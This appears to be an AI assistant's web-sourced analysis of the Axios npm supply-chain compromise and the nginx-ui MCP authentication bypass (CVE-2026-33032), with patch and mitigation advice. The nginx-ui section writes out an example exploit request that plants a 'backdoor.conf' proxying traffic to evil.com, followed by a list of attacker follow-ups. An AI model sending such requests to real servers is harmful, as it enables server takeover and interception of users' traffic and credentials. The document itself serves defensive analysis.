Excellent. I have solid data on both incidents. Let me address these systematically.
Axios Supply Chain Compromise
Blast radius: You said 100M weekly downloads — actually closer to 83M, but it doesn't matter. Here's the thing: the actual exposure window was roughly 3.5 hours (March 31, 00:21 to ~03:30 UTC). That's a narrow window, but Axios is so widely deployed that "narrow" still means massive blast radius.
The kill chain is straightforward but the certificate exposure angle is what makes this operationally interesting:
Kill Chain:
- Initial access: UNC1069 (Google attributes them) spearfished maintainer Jason Saayman via a fake video conference — classic voice call social engineering. They got him to run something that deployed WAVESHAPER.V2, a cross-platform RAT.
- Credential harvest: RAT harvested npm credentials. The account had 2FA enabled, but that doesn't matter when an attacker owns the endpoint and can just use the authenticated session.
- Registry manipulation: Attacker published malicious versions 1.14.1 and 0.30.4 directly via npm CLI — bypassed the OIDC Trusted Publishing workflow entirely. No git tags, no GitHub verification. Just a manual publish with a stolen token.
- Phantom dependency injection: Added
plain-crypto-js@4.2.1 — a typosquat decoy that never existed before March 30. Postinstall script drops the RAT. Clean decoy version 4.2.0 was published six hours earlier to build registry reputation.
- Downstream execution: Any CI/CD pipeline pulling
axios@latest or ^1.14.0 got the weaponized version automatically.
OpenAI certificate exposure: This is the critical operational detail. OpenAI's macOS signing workflow used a floating tag in GitHub Actions (v1 or similar instead of a commit hash) with no minimumReleaseAge check. So their pipeline automatically pulled the malicious 1.14.1 within minutes of publication.
That workflow had access to:
- macOS code-signing certificates (ChatGPT Desktop, Codex, Codex-cli, Atlas)
- Apple notarization credentials
Exploitability of those certificates: Here's where I push back on the panic. OpenAI rotated the certificates — "out of an abundance of caution" — but they stated they found no evidence of credential exfiltration or misuse, and confirmed all notarization events were legitimate.
The RAT had access to the * workload* where certificates were used, but actually extracting a code-signing cert from a macOS keychain during a CI run is non-trivial. GateKeeper would enforce the keychain. The attacker would need to:
- Dump keychain contents during the narrow compromise window
- Exfiltrate private keys (not just certificates)
- Do this without triggering runtime detection
More likely scenario: the attacker focused on RAT deployment to developer endpoints and never had time to target the signing material. Three hours is tight for a complex multi-stage operation.
Bottom line: Blast radius is actually smaller than you'd think for 83M downloads because:
- Most production apps pin versions
- The window was tight
- Detection was fast (Socket flagged in 6 minutes)
- But anyone using
latest or loose semver ranges in CI hit this immediately
OpenAI's certificate revocation was defensive — probably the right call, but I think actual misuse is unlikely. The web search confirms OpenAI found no evidence of certificate misuse.
CVE-2026-33032 (nginx-ui / "MCPwn")
Look, I need to correct something here: you said "no patch" — that's wrong. Patch exists in v2.3.4 released March 15, 2026. One day after disclosure. The fix was literally 27 characters: adding middleware.AuthRequired() to the /mcp_message endpoint.
But the vulnerability itself? This is almost comically trivial.
The bug: nginx-ui recently added Model Context Protocol support. Two endpoints:
/mcp — has IP whitelist and AuthRequired() middleware ✓
/mcp_message — has IP whitelist only ✗
Default IP whitelist is empty, and the middleware treats empty as "allow all." That's a fail-open configuration. Classic security anti-pattern.
Exploitation: Two HTTP requests. That's it.
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "nginx_config_add",
"params": {
"name": "backdoor.conf",
"content": "server { listen 443; location / { proxy_pass http://evil.com; } }
}
}
Then trigger reload. Full server control.
What can an attacker actually do with arbitrary nginx config write?
Let me think like an attacker here:
- Traffic interception: Add reverse proxy rules to capture all inbound requests. Read headers, bodies, cookies.
- Credential harvesting: JWT secrets, API keys, database connection strings are often in headers or request bodies.
- SSL private key exfiltration: If nginx terminates TLS, the private key is in memory. With config write + reload, attacker can configure logging to dump handshake data.
- Persistence: Add upstream servers pointing to attacker infrastructure, create hidden endpoints, inject backdoors
- Lateral movement: Use the nginx box as a pivot for internal network scanning
- Service degradation: Push invalid configs to crash nginx
This is a configuration-as-code vulnerability. Once you own the config, you own everything the web server touches. The attacker doesn't need RCE — they have complete control over request routing and inspection.
Real-world exploitation: VulnCheck added this to KEV on April 13. Recorded Future confirmed active exploitation in March. 2,689 exposed instances on Shodan. Geographically concentrated in China, US, Indonesia, Germany, Hong Kong.
My assessment: CVSS 9.8 is actually defensible here — unauth, network-accessible, complete compromise. This isn't inflated. The only reason it's not a 10.0 is you need network access, but that's basically everything these days.
Immediate action: If you're on ≤2.3.3 with MCP enabled:
- Patch to 2.3.4 (one line of code, seriously)
- Or disable MCP entirely
- Or add the missing auth middleware manually
- Or firewall port 9000 to trusted IPs only
Don't overthink this one. It's a copy-paste bug with catastrophic impact.
SOURCES_USED: ["https://x.com/lordman1982/status/2042679209949020643", "https://cyberwebspider.com/cyber-security-news/axios-npm-packages-supply-chain-attack/", "https://socket.dev/blog/axios-npm-package-compromised", "https://www.scworld.com/news/openais-macos-app-signing-process-hit-by-axios-supply-chain-attack", "https://openai.com/index/axios-developer-tool-compromise/", "https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package", "https://github.com/axios/axios/issues/10636", "https://pluto.security/blog/mcp-bug-nginx-security-vulnerability-cvss-9-8/", "https://www.picussecurity.com/resource/blog/cve-2026-33032-mcpwn-how-a-missing-middleware-call-in-nginx-ui-hands-attackers-full-web-server-takeover", "https://x.com/bar2sec/status/2044780989436571986", "https://securityaffairs.com/190841/hacking/cve-2026-33032-severe-nginx-ui-bug-grants-unauthenticated-server-access.html", "https://www.bleepingcomputer.com/news/security/critical-nginx-ui-auth-bypass-flaw-now-actively-exploited-in-the-wild/"]